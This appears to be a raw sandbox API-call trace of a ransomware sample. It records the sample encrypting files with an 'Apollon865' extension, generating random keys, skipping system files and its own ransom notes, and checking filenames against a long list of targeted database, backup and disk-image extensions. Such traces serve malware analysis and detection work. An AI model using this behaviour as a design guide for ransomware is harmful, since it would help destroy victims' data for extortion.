	[0077.970] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0077.970] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9352) returned 1
	[0077.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0077.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0077.971] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0077.971] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfc50) returned 1
	[0077.972] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.972] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0077.972] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2790, lpName=0x0) returned 0xd8
	[0077.976] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2790) returned 0x100000
	[0077.977] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfcd8) returned 1
	[0077.978] CryptGenRandom (in: hProv=0x5bfcd8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.978] CryptReleaseContext (hProv=0x5bfcd8, dwFlags=0x0) returned 1
	[0077.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0077.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0077.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.979] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.979] CloseHandle (hObject=0xd8) returned 1
	[0077.979] CloseHandle (hObject=0x100) returned 1
	[0077.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0077.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0077.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0077.979] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2="Apollon865.txt.exe") returned 1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".") returned 1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2="..") returned 1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2="windows") returned -1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2="bootmgr") returned 1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2="temp") returned -1
	[0077.979] lstrcmpiW (lpString1="ShellUI.MST", lpString2="pagefile.sys") returned 1
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2="boot") returned 1
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2="ids.txt") returned 1
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2="ntuser.dat") returned 1
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2="perflogs") returned 1
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2="MSBuild") returned 1
	[0077.980] lstrlenW (lpString="ShellUI.MST") returned 11
	[0077.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0077.980] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ShellUI.MST" | out: lpString1="ShellUI.MST") returned="ShellUI.MST"
	[0077.980] lstrlenW (lpString="ShellUI.MST") returned 11
	[0077.980] lstrlenW (lpString="Apollon865") returned 10
	[0077.980] lstrcmpiW (lpString1="hellUI.MST", lpString2="Apollon865") returned 1
	[0077.980] lstrlenW (lpString=".dll") returned 4
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".dll") returned 1
	[0077.980] lstrlenW (lpString=".lnk") returned 4
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".lnk") returned 1
	[0077.980] lstrlenW (lpString=".ini") returned 4
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".ini") returned 1
	[0077.980] lstrlenW (lpString=".sys") returned 4
	[0077.980] lstrcmpiW (lpString1="ShellUI.MST", lpString2=".sys") returned 1
	[0077.980] lstrlenW (lpString="ShellUI.MST") returned 11
	[0077.980] lstrlenW (lpString="bak") returned 3
	[0077.980] lstrcmpiW (lpString1="MST", lpString2="bak") returned 1
	[0077.980] lstrlenW (lpString="ba_") returned 3
	[0077.980] lstrcmpiW (lpString1="MST", lpString2="ba_") returned 1
	[0077.980] lstrlenW (lpString="dbb") returned 3
	[0077.980] lstrcmpiW (lpString1="MST", lpString2="dbb") returned 1
	[0077.980] lstrlenW (lpString="vmdk") returned 4
	[0077.980] lstrcmpiW (lpString1=".MST", lpString2="vmdk") returned -1
	[0077.980] lstrlenW (lpString="rar") returned 3
	[0077.980] lstrcmpiW (lpString1="MST", lpString2="rar") returned -1
	[0077.980] lstrlenW (lpString="zip") returned 3
	[0077.980] lstrcmpiW (lpString1="MST", lpString2="zip") returned -1
	[0077.981] lstrlenW (lpString="tgz") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="tgz") returned -1
	[0077.981] lstrlenW (lpString="vbox") returned 4
	[0077.981] lstrcmpiW (lpString1=".MST", lpString2="vbox") returned -1
	[0077.981] lstrlenW (lpString="vdi") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="vdi") returned -1
	[0077.981] lstrlenW (lpString="vhd") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="vhd") returned -1
	[0077.981] lstrlenW (lpString="vhdx") returned 4
	[0077.981] lstrcmpiW (lpString1=".MST", lpString2="vhdx") returned -1
	[0077.981] lstrlenW (lpString="avhd") returned 4
	[0077.981] lstrcmpiW (lpString1=".MST", lpString2="avhd") returned -1
	[0077.981] lstrlenW (lpString="db") returned 2
	[0077.981] lstrcmpiW (lpString1="ST", lpString2="db") returned 1
	[0077.981] lstrlenW (lpString="db2") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="db2") returned 1
	[0077.981] lstrlenW (lpString="db3") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="db3") returned 1
	[0077.981] lstrlenW (lpString="dbf") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="dbf") returned 1
	[0077.981] lstrlenW (lpString="mdf") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="mdf") returned 1
	[0077.981] lstrlenW (lpString="mdb") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="mdb") returned 1
	[0077.981] lstrlenW (lpString="sql") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="sql") returned -1
	[0077.981] lstrlenW (lpString="sqlite") returned 6
	[0077.981] lstrcmpiW (lpString1="UI.MST", lpString2="sqlite") returned 1
	[0077.981] lstrlenW (lpString="sqlite3") returned 7
	[0077.981] lstrcmpiW (lpString1="lUI.MST", lpString2="sqlite3") returned -1
	[0077.981] lstrlenW (lpString="sqlitedb") returned 8
	[0077.981] lstrcmpiW (lpString1="llUI.MST", lpString2="sqlitedb") returned -1
	[0077.981] lstrlenW (lpString="xml") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="xml") returned -1
	[0077.981] lstrlenW (lpString="$er") returned 3
	[0077.981] lstrcmpiW (lpString1="MST", lpString2="$er") returned 1
	[0077.981] lstrlenW (lpString="4dd") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="4dd") returned 1
	[0077.982] lstrlenW (lpString="4dl") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="4dl") returned 1
	[0077.982] lstrlenW (lpString="^^^") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="^^^") returned 1
	[0077.982] lstrlenW (lpString="abs") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="abs") returned 1
	[0077.982] lstrlenW (lpString="abx") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="abx") returned 1
	[0077.982] lstrlenW (lpString="accdb") returned 5
	[0077.982] lstrcmpiW (lpString1="I.MST", lpString2="accdb") returned 1
	[0077.982] lstrlenW (lpString="accdc") returned 5
	[0077.982] lstrcmpiW (lpString1="I.MST", lpString2="accdc") returned 1
	[0077.982] lstrlenW (lpString="accde") returned 5
	[0077.982] lstrcmpiW (lpString1="I.MST", lpString2="accde") returned 1
	[0077.982] lstrlenW (lpString="accdr") returned 5
	[0077.982] lstrcmpiW (lpString1="I.MST", lpString2="accdr") returned 1
	[0077.982] lstrlenW (lpString="accdt") returned 5
	[0077.982] lstrcmpiW (lpString1="I.MST", lpString2="accdt") returned 1
	[0077.982] lstrlenW (lpString="accdw") returned 5
	[0077.982] lstrcmpiW (lpString1="I.MST", lpString2="accdw") returned 1
	[0077.982] lstrlenW (lpString="accft") returned 5
	[0077.982] lstrcmpiW (lpString1="I.MST", lpString2="accft") returned 1
	[0077.982] lstrlenW (lpString="adb") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="adb") returned 1
	[0077.982] lstrlenW (lpString="adb") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="adb") returned 1
	[0077.982] lstrlenW (lpString="ade") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="ade") returned 1
	[0077.982] lstrlenW (lpString="adf") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="adf") returned 1
	[0077.982] lstrlenW (lpString="adn") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="adn") returned 1
	[0077.982] lstrlenW (lpString="adp") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="adp") returned 1
	[0077.982] lstrlenW (lpString="alf") returned 3
	[0077.982] lstrcmpiW (lpString1="MST", lpString2="alf") returned 1
	[0077.983] lstrlenW (lpString="ask") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="ask") returned 1
	[0077.983] lstrlenW (lpString="btr") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="btr") returned 1
	[0077.983] lstrlenW (lpString="cat") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="cat") returned 1
	[0077.983] lstrlenW (lpString="cdb") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="cdb") returned 1
	[0077.983] lstrlenW (lpString="ckp") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="ckp") returned 1
	[0077.983] lstrlenW (lpString="cma") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="cma") returned 1
	[0077.983] lstrlenW (lpString="cpd") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="cpd") returned 1
	[0077.983] lstrlenW (lpString="dacpac") returned 6
	[0077.983] lstrcmpiW (lpString1="UI.MST", lpString2="dacpac") returned 1
	[0077.983] lstrlenW (lpString="dad") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="dad") returned 1
	[0077.983] lstrlenW (lpString="dadiagrams") returned 10
	[0077.983] lstrcmpiW (lpString1="hellUI.MST", lpString2="dadiagrams") returned 1
	[0077.983] lstrlenW (lpString="daschema") returned 8
	[0077.983] lstrcmpiW (lpString1="llUI.MST", lpString2="daschema") returned 1
	[0077.983] lstrlenW (lpString="db-journal") returned 10
	[0077.983] lstrcmpiW (lpString1="hellUI.MST", lpString2="db-journal") returned 1
	[0077.983] lstrlenW (lpString="db-shm") returned 6
	[0077.983] lstrcmpiW (lpString1="UI.MST", lpString2="db-shm") returned 1
	[0077.983] lstrlenW (lpString="db-wal") returned 6
	[0077.983] lstrcmpiW (lpString1="UI.MST", lpString2="db-wal") returned 1
	[0077.983] lstrlenW (lpString="dbc") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="dbc") returned 1
	[0077.983] lstrlenW (lpString="dbs") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="dbs") returned 1
	[0077.983] lstrlenW (lpString="dbt") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="dbt") returned 1
	[0077.983] lstrlenW (lpString="dbv") returned 3
	[0077.983] lstrcmpiW (lpString1="MST", lpString2="dbv") returned 1
	[0077.983] lstrlenW (lpString="dbx") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dbx") returned 1
	[0077.984] lstrlenW (lpString="dcb") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dcb") returned 1
	[0077.984] lstrlenW (lpString="dct") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dct") returned 1
	[0077.984] lstrlenW (lpString="dcx") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dcx") returned 1
	[0077.984] lstrlenW (lpString="ddl") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="ddl") returned 1
	[0077.984] lstrlenW (lpString="dlis") returned 4
	[0077.984] lstrcmpiW (lpString1=".MST", lpString2="dlis") returned -1
	[0077.984] lstrlenW (lpString="dp1") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dp1") returned 1
	[0077.984] lstrlenW (lpString="dqy") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dqy") returned 1
	[0077.984] lstrlenW (lpString="dsk") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dsk") returned 1
	[0077.984] lstrlenW (lpString="dsn") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dsn") returned 1
	[0077.984] lstrlenW (lpString="dtsx") returned 4
	[0077.984] lstrcmpiW (lpString1=".MST", lpString2="dtsx") returned -1
	[0077.984] lstrlenW (lpString="dxl") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="dxl") returned 1
	[0077.984] lstrlenW (lpString="eco") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="eco") returned 1
	[0077.984] lstrlenW (lpString="ecx") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="ecx") returned 1
	[0077.984] lstrlenW (lpString="edb") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="edb") returned 1
	[0077.984] lstrlenW (lpString="epim") returned 4
	[0077.984] lstrcmpiW (lpString1=".MST", lpString2="epim") returned -1
	[0077.984] lstrlenW (lpString="fcd") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="fcd") returned 1
	[0077.984] lstrlenW (lpString="fdb") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="fdb") returned 1
	[0077.984] lstrlenW (lpString="fic") returned 3
	[0077.984] lstrcmpiW (lpString1="MST", lpString2="fic") returned 1
	[0077.985] lstrlenW (lpString="flexolibrary") returned 12
	[0077.985] lstrlenW (lpString="fm5") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fm5") returned 1
	[0077.985] lstrlenW (lpString="fmp") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fmp") returned 1
	[0077.985] lstrlenW (lpString="fmp12") returned 5
	[0077.985] lstrcmpiW (lpString1="I.MST", lpString2="fmp12") returned 1
	[0077.985] lstrlenW (lpString="fmpsl") returned 5
	[0077.985] lstrcmpiW (lpString1="I.MST", lpString2="fmpsl") returned 1
	[0077.985] lstrlenW (lpString="fol") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fol") returned 1
	[0077.985] lstrlenW (lpString="fp3") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fp3") returned 1
	[0077.985] lstrlenW (lpString="fp4") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fp4") returned 1
	[0077.985] lstrlenW (lpString="fp5") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fp5") returned 1
	[0077.985] lstrlenW (lpString="fp7") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fp7") returned 1
	[0077.985] lstrlenW (lpString="fpt") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="fpt") returned 1
	[0077.985] lstrlenW (lpString="frm") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="frm") returned 1
	[0077.985] lstrlenW (lpString="gdb") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="gdb") returned 1
	[0077.985] lstrlenW (lpString="gdb") returned 3
	[0077.985] lstrcmpiW (lpString1="MST", lpString2="gdb") returned 1
	[0077.985] lstrlenW (lpString="grdb") returned 4
	[0077.985] lstrcmpiW (lpString1=".MST", lpString2="grdb") returned -1
	[0077.985] lstrlenW (lpString="gwi") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="gwi") returned 1
	[0077.986] lstrlenW (lpString="hdb") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="hdb") returned 1
	[0077.986] lstrlenW (lpString="his") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="his") returned 1
	[0077.986] lstrlenW (lpString="ib") returned 2
	[0077.986] lstrcmpiW (lpString1="ST", lpString2="ib") returned 1
	[0077.986] lstrlenW (lpString="idb") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="idb") returned 1
	[0077.986] lstrlenW (lpString="ihx") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="ihx") returned 1
	[0077.986] lstrlenW (lpString="itdb") returned 4
	[0077.986] lstrcmpiW (lpString1=".MST", lpString2="itdb") returned -1
	[0077.986] lstrlenW (lpString="itw") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="itw") returned 1
	[0077.986] lstrlenW (lpString="jet") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="jet") returned 1
	[0077.986] lstrlenW (lpString="jtx") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="jtx") returned 1
	[0077.986] lstrlenW (lpString="kdb") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="kdb") returned 1
	[0077.986] lstrlenW (lpString="kexi") returned 4
	[0077.986] lstrcmpiW (lpString1=".MST", lpString2="kexi") returned -1
	[0077.986] lstrlenW (lpString="kexic") returned 5
	[0077.986] lstrcmpiW (lpString1="I.MST", lpString2="kexic") returned -1
	[0077.986] lstrlenW (lpString="kexis") returned 5
	[0077.986] lstrcmpiW (lpString1="I.MST", lpString2="kexis") returned -1
	[0077.986] lstrlenW (lpString="lgc") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="lgc") returned 1
	[0077.986] lstrlenW (lpString="lwx") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="lwx") returned 1
	[0077.986] lstrlenW (lpString="maf") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="maf") returned 1
	[0077.986] lstrlenW (lpString="maq") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="maq") returned 1
	[0077.986] lstrlenW (lpString="mar") returned 3
	[0077.986] lstrcmpiW (lpString1="MST", lpString2="mar") returned 1
	[0077.987] lstrlenW (lpString="marshal") returned 7
	[0077.987] lstrcmpiW (lpString1="lUI.MST", lpString2="marshal") returned -1
	[0077.987] lstrlenW (lpString="mas") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mas") returned 1
	[0077.987] lstrlenW (lpString="mav") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mav") returned 1
	[0077.987] lstrlenW (lpString="maw") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="maw") returned 1
	[0077.987] lstrlenW (lpString="mdbhtml") returned 7
	[0077.987] lstrcmpiW (lpString1="lUI.MST", lpString2="mdbhtml") returned -1
	[0077.987] lstrlenW (lpString="mdn") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mdn") returned 1
	[0077.987] lstrlenW (lpString="mdt") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mdt") returned 1
	[0077.987] lstrlenW (lpString="mfd") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mfd") returned 1
	[0077.987] lstrlenW (lpString="mpd") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mpd") returned 1
	[0077.987] lstrlenW (lpString="mrg") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mrg") returned 1
	[0077.987] lstrlenW (lpString="mud") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mud") returned -1
	[0077.987] lstrlenW (lpString="mwb") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="mwb") returned -1
	[0077.987] lstrlenW (lpString="myd") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="myd") returned -1
	[0077.987] lstrlenW (lpString="ndf") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="ndf") returned -1
	[0077.987] lstrlenW (lpString="nnt") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="nnt") returned -1
	[0077.987] lstrlenW (lpString="nrmlib") returned 6
	[0077.987] lstrcmpiW (lpString1="UI.MST", lpString2="nrmlib") returned 1
	[0077.987] lstrlenW (lpString="ns2") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="ns2") returned -1
	[0077.987] lstrlenW (lpString="ns3") returned 3
	[0077.987] lstrcmpiW (lpString1="MST", lpString2="ns3") returned -1
	[0077.987] lstrlenW (lpString="ns4") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="ns4") returned -1
	[0077.988] lstrlenW (lpString="nsf") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="nsf") returned -1
	[0077.988] lstrlenW (lpString="nv") returned 2
	[0077.988] lstrcmpiW (lpString1="ST", lpString2="nv") returned 1
	[0077.988] lstrlenW (lpString="nv2") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="nv2") returned -1
	[0077.988] lstrlenW (lpString="nwdb") returned 4
	[0077.988] lstrcmpiW (lpString1=".MST", lpString2="nwdb") returned -1
	[0077.988] lstrlenW (lpString="nyf") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="nyf") returned -1
	[0077.988] lstrlenW (lpString="odb") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="odb") returned -1
	[0077.988] lstrlenW (lpString="odb") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="odb") returned -1
	[0077.988] lstrlenW (lpString="oqy") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="oqy") returned -1
	[0077.988] lstrlenW (lpString="ora") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="ora") returned -1
	[0077.988] lstrlenW (lpString="orx") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="orx") returned -1
	[0077.988] lstrlenW (lpString="owc") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="owc") returned -1
	[0077.988] lstrlenW (lpString="p96") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="p96") returned -1
	[0077.988] lstrlenW (lpString="p97") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="p97") returned -1
	[0077.988] lstrlenW (lpString="pan") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="pan") returned -1
	[0077.988] lstrlenW (lpString="pdb") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="pdb") returned -1
	[0077.988] lstrlenW (lpString="pdm") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="pdm") returned -1
	[0077.988] lstrlenW (lpString="pnz") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="pnz") returned -1
	[0077.988] lstrlenW (lpString="qry") returned 3
	[0077.988] lstrcmpiW (lpString1="MST", lpString2="qry") returned -1
	[0077.989] lstrlenW (lpString="qvd") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="qvd") returned -1
	[0077.989] lstrlenW (lpString="rbf") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="rbf") returned -1
	[0077.989] lstrlenW (lpString="rctd") returned 4
	[0077.989] lstrcmpiW (lpString1=".MST", lpString2="rctd") returned -1
	[0077.989] lstrlenW (lpString="rod") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="rod") returned -1
	[0077.989] lstrlenW (lpString="rodx") returned 4
	[0077.989] lstrcmpiW (lpString1=".MST", lpString2="rodx") returned -1
	[0077.989] lstrlenW (lpString="rpd") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="rpd") returned -1
	[0077.989] lstrlenW (lpString="rsd") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="rsd") returned -1
	[0077.989] lstrlenW (lpString="sas7bdat") returned 8
	[0077.989] lstrcmpiW (lpString1="llUI.MST", lpString2="sas7bdat") returned -1
	[0077.989] lstrlenW (lpString="sbf") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="sbf") returned -1
	[0077.989] lstrlenW (lpString="scx") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="scx") returned -1
	[0077.989] lstrlenW (lpString="sdb") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="sdb") returned -1
	[0077.989] lstrlenW (lpString="sdc") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="sdc") returned -1
	[0077.989] lstrlenW (lpString="sdf") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="sdf") returned -1
	[0077.989] lstrlenW (lpString="sis") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="sis") returned -1
	[0077.989] lstrlenW (lpString="spq") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="spq") returned -1
	[0077.989] lstrlenW (lpString="te") returned 2
	[0077.989] lstrcmpiW (lpString1="ST", lpString2="te") returned -1
	[0077.989] lstrlenW (lpString="teacher") returned 7
	[0077.989] lstrcmpiW (lpString1="lUI.MST", lpString2="teacher") returned -1
	[0077.989] lstrlenW (lpString="tmd") returned 3
	[0077.989] lstrcmpiW (lpString1="MST", lpString2="tmd") returned -1
	[0077.989] lstrlenW (lpString="tps") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="tps") returned -1
	[0077.990] lstrlenW (lpString="trc") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="trc") returned -1
	[0077.990] lstrlenW (lpString="trc") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="trc") returned -1
	[0077.990] lstrlenW (lpString="trm") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="trm") returned -1
	[0077.990] lstrlenW (lpString="udb") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="udb") returned -1
	[0077.990] lstrlenW (lpString="udl") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="udl") returned -1
	[0077.990] lstrlenW (lpString="usr") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="usr") returned -1
	[0077.990] lstrlenW (lpString="v12") returned 3
